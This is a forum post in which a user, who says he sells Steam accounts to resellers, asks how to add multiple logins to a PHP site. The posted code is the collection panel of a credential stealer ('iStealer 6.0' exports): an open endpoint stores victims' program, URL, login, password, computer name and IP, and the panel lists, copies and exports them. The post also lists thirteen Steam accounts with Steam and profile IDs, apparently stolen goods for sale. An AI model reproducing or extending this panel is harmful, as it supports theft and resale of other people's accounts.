Jump to content

Made a own php site


Recommended Posts

Hi, my friend send my this php, i just noob edit it and want to have multilogins, only 1 person can login :/

cuz im selling steam acccounts to resellers so i want they gonna have different logins.. thanks!

how i do ?

 

<?php
// CONFIGURATION ******************************************************************************

   $dbHost     = "xxx";		// MySQL host
   $dbUser     = "xxx";	// MySQL username
   $dbPass     = "xxx";	// MySQL password
   $dbDatabase = "xxx";	// MySQL database name

   $username   = "Client3";		// Login Username
   $password   = "005005";		// Login Password
   
   $logspage   = 100;			// Number of logs per page

// ********************************************************************************************

$html       = "<html><head><title>Hackeballes Steam Accounts - ";
$header     = "</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>
			<div id='web'><div id='header'><b>Wazzup?, ".$username." </b></div><div id='navigation'><ul>
			<li><a href='?action=logs'>Steam Accounts</a></li><li><a href='?action=search'>Bug Report</a></li>

			<li><a href='?action=logout'>Run Home To Moma!</a></li></ul></div><br>";
$footer     = "<div id='footer'>Steam Lister BETA v0.3 - Hackeballe 2010</div></div></body></html>";

$loginform  = "<form id='loginform' name='frm' method='POST' action='?action=login'>
                                <tr>Reseller section.</tr>
			<table id='logintable' cellpadding='0' cellspacing='20' border='0'>
			<tr><td>Username:</td><td><input type='text' name='username' size='25'></td></tr>
			<tr><td>Password:</td><td><input type='password' name='password' size='25'></td></tr>
			<tr><td></td><td><input type='submit' value='DO THE MAGIC!' name='login'></td></tr><h1>Login here for see the accounts </h1></form>";
$javascript  = "<script language='javascript' type='text/javascript'>
			function checkAll() { chk = document.getElementsByName('sel[]');
			for (i = 0; i<chk.length; i++) { if (document.frm.elements['check_all'].checked) chk[i].checked = true; else chk[i].checked = false;}}
			function checkform() { chk = document.getElementsByName('sel[]'); for (i = 0; i<chk.length; i++) { if (chk[i].checked == true) { 
			return true;}} alert('At least one option must be select.'); return false; }
			function confirmation() { return confirm('Are you sure you want to delete all selected logs?');}</script>";



// FUNCTIONS ******************************************************************************
function connect_database() {
	global $dbHost, $dbUser, $dbPass, $dbDatabase, $html, $header, $footer;
	$mysql = mysql_connect($dbHost, $dbUser, $dbPass);
	if (!$mysql) {
		$html .= "Database Error".$header."Can not connect to database, please check the configuration.".$footer;
		die($html);
	}
	if (!mysql_select_db($dbDatabase, $mysql)) {
		mysql_close($mysql);
		$html .= "Database Error".$header."Can not select '".$dbDatabase."' database, please check the configuration.".$footer;
		die($html);
	}
	return $mysql;
}
function pages_number($logstotal, $logspage) {
	$pagesnumber = ceil($logstotal/$logspage);
	$temp = "Pages: ";
	for ($i=0; $i<$pagesnumber; $i++) {
		if ($_SESSION["page"] == $i)
			$temp .= " <span class='page1'>".$i."</span>";
		else
			$temp .= " <span class='page0'><a href='?action=logs&page=".$i."'>".$i."</a></span>";
	}
	$temp .= " Results ".($_SESSION["page"]*$logspage)." - ".(($_SESSION["page"]*$logspage)+$logspage)." of about ".$logstotal;
	return $temp;
}
function sort_order() {
	if ($_SESSION["order"] == 0) $tmp = "ASC"; else $tmp = "DESC";
		return $tmp;
}

// TEST *************************************************************************************
if ($_GET["action"] == "test") {
	$mysql = connect_database();
	$result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
	if ($result) {
		echo "Ready";
	} else {
		echo "NoReady";
	}
	mysql_close($mysql);
	exit;
}

// ADD ***************************************************************************************
if ($_GET["action"] == "add") {
	if (isset($_GET["a"]) && isset($_GET["c"]) && isset($_GET["u"]) && isset($_GET["l"])&& isset($_GET["p"]) 
	&& is_numeric($_GET["a"]) && $_GET["a"]>=0 && $_GET["a"]<=18 && strlen($_GET["p"])>3) {
		$mysql = mysql_connect($dbHost, $dbUser, $dbPass);
		if (!$mysql) exit;
		if (!mysql_select_db($dbDatabase, $mysql)) exit;
		$result = mysql_query("SELECT * FROM `logs` WHERE `program` = '".$_GET["a"]."' AND `url` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql).
		"' AND `login` = '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."' AND `pass` = '".
		mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."';", $mysql);
		if (!$result) exit;
		if (mysql_num_rows($result) == 0) {
			$result = mysql_query("INSERT INTO `logs` (`id`, `program`, `url`, `login`, `pass`, `computer`, `date`, `ip`) VALUES (NULL , '".
			$_GET["a"]."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["u"])), $mysql)."', '".
			mysql_real_escape_string(htmlspecialchars(urldecode($_GET["l"])), $mysql)."', '".mysql_real_escape_string(htmlspecialchars(urldecode($_GET["p"])), $mysql)."', '".
			mysql_real_escape_string(htmlspecialchars(urldecode($_GET["c"])), $mysql)."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');", $mysql);
		}
		mysql_close($mysql);
	}
	exit;
}

// LOGIN **************************************************************************************
session_start();
if ($_SESSION["user"]!=$username || $_SESSION["ip"]!=$_SERVER["REMOTE_ADDR"]) {
	if ($_GET["action"] == "login") {
		if (isset($_POST["username"]) && isset($_POST["password"]) && $username==$_POST["username"] && $password==$_POST["password"]) {
			session_start();
			$_SESSION["user"] = $username;
			$_SESSION["ip"] = $_SERVER["REMOTE_ADDR"];
			$_SESSION["sort"] = 5;
			$_SESSION["order"] = 1;
			$_SESSION["page"] = 0;

			$mysql = connect_database();
			$result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
			if (!$result) {
				$result = mysql_query("CREATE TABLE `logs` (`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY, `program` INT NOT NULL, `url` 
							VARCHAR(150) NOT NULL, `login` VARCHAR(50) NOT NULL, `pass` VARCHAR(50) NOT NULL, `computer` VARCHAR(50) NOT NULL, `date` 
							DATETIME NOT NULL, `ip` VARCHAR(15) NOT NULL);", $mysql);
				if (!$result) {
					$html .= "Database Error".$header."Can not create table 'logs', please check the configuration and your priviledges.".$footer;
					die($html);
				}
			}
			mysql_close($mysql);
			header("Location: ?action=logs");
		} else {
			$html = "<html><head><title>Login Error</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>".$loginform."</body></html>";
			echo $html;
			exit;
		}
	} else {
		$html = "<html><head><title>Login</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>".$loginform."</body></html>";
		echo $html;
		exit;
	}
}

// LOGOUT ************************************************************************************
if ($_GET["action"] == "logout") {
	unset($_SESSION["user"]);
	unset($_SESSION["ip"]);
	unset($_SESSION["sort"]);
	unset($_SESSION["order"]);
	unset($_SESSION["page"]);
	session_unset();
	header("Location: index.php");

// LOGS **************************************************************************************
} elseif ($_GET["action"] == "logs" || !isset($_GET["action"])) {

	if (isset($_GET["sort"]) && $_GET["sort"]>=0 && $_GET["sort"]<=6) {
		if ($_SESSION["sort"] == $_GET["sort"])
			if ($_SESSION["order"] == 0) $_SESSION["order"] = 1; else $_SESSION["order"] = 0; else $_SESSION["sort"] = $_GET["sort"];
	}

	$mysql = connect_database();
	$result = mysql_query("SELECT COUNT(*) FROM `logs`;", $mysql);
	$logstotal = mysql_result($result, 0);
	if ($logstotal > 0) {
		if (isset($_GET["page"]) && is_numeric($_GET["page"]) && $_GET["page"]>=0 && $_GET["page"]<=ceil($logstotal/$logspage))
			$_SESSION["page"] = $_GET["page"];

		$result = mysql_query("SELECT * FROM `logs` ORDER BY `".$cols[$_SESSION["sort"]]."` ".sort_order()." LIMIT ".($logspage*$_SESSION["page"])." , ".$logspage.";", $mysql);
		if (!$result) die(mysql_error());

		$html .= "Logs".$header.$javascript."
				<form name='frm' method='POST' action='?action=selected' onsubmit='return checkform();'>
				<table id='logstable' cellpadding='2' cellspacing='0' border='0'><tr id='row0'>
				<td><a href='?action=logs&sort=0'>Program</a></td><td><a href='?action=logs&sort=1'>Url / Host</a></td>
				<td><a href='?action=logs&sort=2'>Login</a></td><td><a href='?action=logs&sort=3'>Password</a></td>
				<td><a href='?action=logs&sort=4'>Computer</a></td><td><a href='?action=logs&sort=5'>Date</a></td>
				<td><a href='?action=logs&sort=6'>Ip</a></td>
				<td><input type='checkbox' name='check_all' onClick='checkAll();'></td></tr>";
		$i = 0;
		while ($row = mysql_fetch_array($result)) {
			$html .= "<tr class='";
			if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
			$html .= "'><td>".$aplications[$row["program"]]."</td>";
			$html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
			$html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
			$html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
			$i++;
		}
		$html .= "</table><div id='pages'><div id='numbers'>".pages_number($logstotal, $logspage)."</div><div id='buttons'><input name='buttonact' 
		type='submit' value='Copy Selected'> <input name='buttonact' type='submit' value='Export Selected'> <input name='buttonact' type='submit' 
		value='Delete Selected' onclick='if (!confirmation()) return false;'></div></div></form>".$footer;
	} else {
		$html .= "Logs".$header."#1.
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:0:18073488<br>
N° Games: 14<br>
Profile ID: 76561197996412704<br>
VAC Status: In good standing<br>
Last Online: 0 days ago<br>
Member Since: February 6, 2008<br>
Hours played last 2 weeks: <br>
<br>
Games<br>
--------------------------------------<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Counter-Strike: Source<br>
--> Day of Defeat<br>
--> Day of Defeat: Source<br>
--> Deathmatch Classic<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Left 4 Dead 2<br>
--> Left 4 Dead 2 Authoring Tools<br>
--> Portal<br>
--> Ricochet<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#2.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:0:18961796<br>
N° Games: 7<br>
Profile ID: 76561197998189320<br>
VAC Status: In good standing<br>
Last Online: 0,54 days ago<br>
Member Since: April 23, 2008<br>
Hours played last 2 weeks: 15.9<br>
<br>
Games<br>
--------------------------------------<br>
--> Counter-Strike: Source<br>
--> Day of Defeat: Source<br>
--> Garry's Mod<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Portal<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#3.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:1:19622094<br>
N° Games: 13<br>
Profile ID: 76561197999509917<br>
VAC Status: In good standing<br>
Last Online: 2,03 days ago<br>
Member Since: June 26, 2008<br>
Hours played last 2 weeks: 36.9<br>
<br>
Games<br>
--------------------------------------<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Counter-Strike: Source<br>
--> Day of Defeat<br>
--> Day of Defeat: Source<br>
--> Deathmatch Classic<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Ricochet<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#4.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:1:20312187<br>
N° Games: 19<br>
Profile ID: 76561198000890103<br>
VAC Status: In good standing<br>
Last Online: 1,08 days ago<br>
Member Since: August 31, 2008<br>
Hours played last 2 weeks: 14.7<br>
<br>
Games<br>
--------------------------------------<br>
--> Battlefield 2<br>
--> Call of Duty 4: Modern Warfare<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Call of Duty: Modern Warfare 2 Stimulus Package<br>
--> Command and Conquer: Red Alert 3<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Counter-Strike: Source<br>
--> Day of Defeat: Source<br>
--> Garry's Mod<br>
--> Half-Life<br>
--> Half-Life 2<br>
--> Half-Life 2: Lost Coast<br>
--> Left 4 Dead<br>
--> Left 4 Dead Authoring Tools<br>
--> Source SDK<br>
--> Team Fortress 2<br>
--------------------------------------<br>
<br>
#5.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:1:30776285<br>
N° Games: 3<br>
Profile ID: 76561198021818299<br>
VAC Status: In good standing<br>
Last Online: 1,08 days ago<br>
Member Since: March 1, 2010<br>
Hours played last 2 weeks: 44<br>
<br>
Games<br>
--------------------------------------<br>
--> Counter-Strike: Source<br>
--> Garry's Mod<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#6.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:0:22176319<br>
N° Games: 9<br>
Profile ID: 76561198004618366<br>
VAC Status: In good standing<br>
Last Online: 1,95 days ago<br>
Member Since: December 29, 2008<br>
Hours played last 2 weeks: 58<br>
<br>
Games
--------------------------------------<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Call of Duty: Modern Warfare 2 Stimulus Package<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Day of Defeat<br>
--> Deathmatch Classic<br>
--> Ricochet<br>
--------------------------------------<br>
<br>
#7.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:1:31472963<br>
N° Games: 4<br>
Profile ID: 76561198023211655<br>
VAC Status: In good standing<br>
Last Online: 0 days ago<br>
Member Since: <br>
Hours played last 2 weeks: <br>
<br>
Games<br>
--------------------------------------<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Call of Duty: Modern Warfare 2 Stimulus Package<br>
--> Portal<br>
--------------------------------------
<br>
#8.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:0:26084179<br>
N° Games: 5<br>
Profile ID: 76561198012434086<br>
VAC Status: In good standing<br>
Last Online: 1,92 days ago<br>
Member Since: August 1, 2009<br>
Hours played last 2 weeks: 70<br>
<br>
Games<br>
--------------------------------------<br>
--> Counter-Strike: Source<br>
--> Day of Defeat: Source<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#9.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:1:18628366<br>
N° Games: 15<br>
Profile ID: 76561197997522461<br>
VAC Status: In good standing<br>
Last Online: 0,65 days ago<br>
Member Since: March 25, 2008<br>
Hours played last 2 weeks: 30.9<br>
<br>
Games<br>
--------------------------------------<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Counter-Strike: Source<br>
--> Day of Defeat<br>
--> Day of Defeat: Source<br>
--> Deathmatch Classic<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Left 4 Dead 2<br>
--> Left 4 Dead 2 Authoring Tools<br>
--> Ricochet<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#10.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:0:17134257<br>
N° Games: 14<br>
Profile ID: 76561197994534242<br>
VAC Status: In good standing<br>
Last Online: 1,64 days ago<br>
Member Since: November 27, 2007<br>
Hours played last 2 weeks: 10.4<br>
<br>
Games<br>
--------------------------------------<br>
--> Audiosurf<br>
--> Battlefield: Bad Company 2<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Counter-Strike: Source<br>
--> Day of Defeat: Source<br>
--> Dragon Age: Origins<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Source SDK<br>
--> Warhammer® 40,000™: Dawn of War® II<br>
--------------------------------------
<br>
#11.<br>
Login/Pass: ******/******<br>
# Digits: 7<br>
Steam ID: STEAM_0:1:6912613<br>
N° Games: 17<br>
Profile ID: 76561197974090955<br>
VAC Status: In good standing<br>
Last Online: 0,72 days ago<br>
Member Since: February 11, 2005<br>
Hours played last 2 weeks: 27.7<br>
<br>
Games<br>
--------------------------------------<br>
--> Battlefield 2<br>
--> Battlefield: Bad Company 2<br>
--> Call of Duty: Modern Warfare 2<br>
--> Call of Duty: Modern Warfare 2 - Multiplayer<br>
--> Counter-Strike<br>
--> Counter-Strike: Condition Zero<br>
--> Counter-Strike: Condition Zero Deleted Scenes<br>
--> Counter-Strike: Source<br>
--> Day of Defeat<br>
--> Deathmatch Classic<br>
--> Half-Life 2<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Left 4 Dead<br>
--> Left 4 Dead Authoring Tools<br>
--> Ricochet<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#12.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:1:28224899<br>
N° Games: 7<br>
Profile ID: 76561198016715527<br>
VAC Status: In good standing<br>
Last Online: 1,62 days ago<br>
Member Since: November 22, 2009<br>
Hours played last 2 weeks: 23.1<br>
<br>
Games<br>
--------------------------------------<br>
--> Battlefield: Bad Company 2<br>
--> Counter-Strike: Source<br>
--> Garry's Mod<br>
--> Half-Life 2: Deathmatch<br>
--> Half-Life 2: Lost Coast<br>
--> Portal<br>
--> Source SDK<br>
--------------------------------------<br>
<br>
#13.<br>
Login/Pass: ******/******<br>
# Digits: 8<br>
Steam ID: STEAM_0:0:31464572<br>
N° Games: 2<br>
Profile ID: 76561198023194872<br>
VAC Status: In good standing<br>
Last Online: 1,21 days ago<br>
Member Since: March 29, 2010<br>
Hours played last 2 weeks: 18.9<br>
<br>
Games<br>
--------------------------------------<br>
--> Counter-Strike: Source<br>
--> Source SDK<br>
--------------------------------------<br>
".$footer;
	}
	mysql_close($mysql);
	echo $html;

// SEARCH ************************************************************************************
} elseif ($_GET["action"] == "search") {
	if (isset($_POST["q"]) && isset($_POST["in"]) && is_numeric($_POST["in"]) && $_POST["in"]>0 && $_POST["in"]<=6) {
		$mysql = connect_database();
		$result = mysql_query("SELECT * FROM `logs` WHERE `".$cols[$_POST["in"]]."` LIKE '%".$_POST["q"]."%';", $mysql);
		if (!$result) die(mysql_error());

		if (mysql_num_rows($result) > 0) {
			$html .= "Search".$header.$javascript.$searchform."
				<form name='frm' method='POST' action='?action=selected' onsubmit='return checkform();'>
				<table id='searchtable' cellpadding='2' cellspacing='0' border='0'><tr id='row0'>
				<td>Program</td><td>Url / Host</td>
				<td>Login</td><td>Password</td>
				<td>Computer</td><td>Date</td>
				<td>Ip</td>
				<td><input type='checkbox' name='check_all' onClick='checkAll();'></td></tr>";
			$i = 0;
			while ($row = mysql_fetch_array($result)) {
				$html .= "<tr class='";
				if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
				$html .= "'><td>".$aplications[$row["program"]]."</td>";
				$html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
				$html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
				$html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
				$i++;
			}
			$html .= "</table><div id='pages'><div id='numbers'>".mysql_num_rows($result)." results for '".$_POST["q"]."'</div><div id='buttons'>
			<input name='buttonact' type='submit' value='Copy Selected'> <input name='buttonact' type='submit' value='Export Selected'> 
			<input name='buttonact' type='submit' value='Delete Selected' onclick='if (!confirmation()) return false;'></div></div></form>".$footer;
		} else {
			$html .= "Search".$header.$searchform."<br>No results found!".$footer;
		}
		mysql_close($mysql);
	} else {
		$html .= "Search".$header.$searchform.$footer;
	}
	echo $html;

// EXPORT ALL ************************************************************************************
} elseif ($_GET["action"] == "exportall") {
	header("Content-Type: text/plain");
	header("Content-Disposition: Attachment; filename=iStealer_6.0_export.txt");
	header("Pragma: no-cache");

	$mysql = connect_database();
	$result = mysql_query("SELECT * FROM `logs`;", $mysql);
	if (!$result) die(mysql_error());

	while ($row = mysql_fetch_array($result)) {
		echo "Program:\t".$aplications[$row['program']]."\r\n";
		echo "Url/Host:\t".$row['url']."\r\n";
		echo "Login:\t\t".$row['login']."\r\n";
		echo "Password:\t".$row['pass']."\r\n";
		echo "Computer:\t".$row['computer']."\r\n";
		echo "Date:\t\t".$row['date']."\r\n";
		echo "Ip:\t\t\t".$row['ip']."\r\n";
		echo "----------------------------------------------------------\r\n";
	}
	mysql_close($mysql);

// SELECTED **************************************************************************************
} elseif ($_GET["action"] == "selected") {
	if (isset($_POST["buttonact"]) && isset($_POST["sel"]) && count($_POST["sel"])!=0) {

		// DELETE SELECTED ***********************************************************************
		if ($_POST["buttonact"] == "Delete Selected") {
			$mysql = connect_database();
			$query = "DELETE FROM `logs` WHERE";
			for ($i=0; $i<count($_POST["sel"]); $i++) {
				if (is_numeric($_POST["sel"][$i]))
					$query .= " `id` = ".$_POST["sel"][$i]." OR";
			}
			$query .= ';';
			$query = str_replace(' OR;', ';', $query);
			$result = mysql_query($query, $mysql);
			if (!$result) die(mysql_error());
			mysql_close($mysql);
			header("Location: ?action=logs");

		// EXPORT SELECTED ***********************************************************************
		} elseif ($_POST["buttonact"] == "Export Selected") {
			header("Content-Type: text/plain");
			header("Content-Disposition: Attachment; filename=iStealer_6.0_export.txt");
			header("Pragma: no-cache");
			$mysql = connect_database();
			$query = "SELECT * FROM `logs` WHERE";
			for ($i=0; $i<count($_POST["sel"]); $i++) {
				if (is_numeric($_POST["sel"][$i]))
					$query .= " `id` = ".$_POST["sel"][$i]." OR";
			}
			$query .= ';';
			$query = str_replace(' OR;', ';', $query);
			$result = mysql_query($query, $mysql);
			if (!$result) die(mysql_error());
			while ($row = mysql_fetch_array($result)) {
				echo "Program:\t".$aplications[$row['program']]."\r\n";
				echo "Url/Host:\t".$row['url']."\r\n";
				echo "Login:\t\t".$row['login']."\r\n";
				echo "Password:\t".$row['pass']."\r\n";
				echo "Computer:\t".$row['computer']."\r\n";
				echo "Date:\t\t".$row['date']."\r\n";
				echo "Ip:\t\t\t".$row['ip']."\r\n";
				echo "----------------------------------------------------------\r\n";
			}
			mysql_close($mysql);

		// COPY SELECTED *************************************************************************
		} elseif ($_POST["buttonact"] == "Copy Selected") {
			$mysql = connect_database();
			$query = "SELECT `login`, `pass` FROM `logs` WHERE";
			for ($i=0; $i<count($_POST["sel"]); $i++) {
				if (is_numeric($_POST["sel"][$i]))
					$query .= " `id` = ".$_POST["sel"][$i]." OR";
			}
			$query .= ';';
			$query = str_replace(' OR;', ';', $query);
			$result = mysql_query($query, $mysql);
			if (!$result) die(mysql_error());
			$html .= "Copy".$header."<table id='searchtable' cellpadding='2' cellspacing='0' border='0'><tr class='row1'><td>";
			while ($row = mysql_fetch_array($result))
				$html .= $row['login'].":".$row['pass']."<br>";
			mysql_close($mysql);
			$html .= "</td></tr></table><br>".$footer;
			echo $html;
		}
	}
} else {
	$html .= "Unexpected Error".$header."Unexpected Error".$footer;
	echo $html;
}
?>

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.